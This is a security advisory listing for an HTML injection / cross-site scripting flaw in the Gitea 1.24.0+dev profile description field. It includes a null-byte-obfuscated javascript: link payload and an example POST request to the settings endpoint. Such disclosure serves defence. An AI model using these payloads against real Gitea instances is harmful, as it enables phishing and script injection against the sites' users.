Lucene search
K

Gitea 1.24.0+dev HTML Injection / Cross Site Scripting

🗓️ 28 Feb 2025 00:00:00Reported by ArdaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 412 Views

Gitea 1.24.0+dev vulnerable to HTML Injection due to improper input validation in profile settings.

Code
Title: Gitea 1.24.0+dev HTML Injection Vulnerability
    
    Description:
    Gitea version 1.24.0+dev-355-g74c8e95e87 is vulnerable to an HTML Injection
    vulnerability. The issue arises due to improper input validation in the
    profile settings description field, allowing an attacker to inject
    arbitrary HTML elements. This could lead to potential security risks such
    as content manipulation or phishing attacks if exploited effectively.
    
    Source URL: https://gitea.com/
    
    Source Name/Email: Arda
    
    CVEs: (No CVE assigned yet)
    
    Software URL: https://demo.gitea.com/
    
    Proof of Concept (PoC):
    
    Vulnerable Endpoint:
    URL: https://demo.gitea.com/user/settings
    Method: POST
    Parameter Affected: description
    Vulnerability Type:  HTML Injection
    Payload Example:
    <a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
    
    Request Example:
    POST /user/settings HTTP/2
    Host: demo.gitea.com
    
    _csrf=xxxx&full_name=&description=%3Ch1%3Etest%3C%2Fh1%3E&website=&location=&visibility=0&keep_email_private=on
    
    This vulnerability allows an attacker to inject arbitrary HTML content,
    which may lead to XSS-like behavior depending on how the injected content
    is interpreted by the browser.
    
    Best Regards,
    Arda

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2025 00:00Current
7.2High risk
Vulners AI Score7.2
412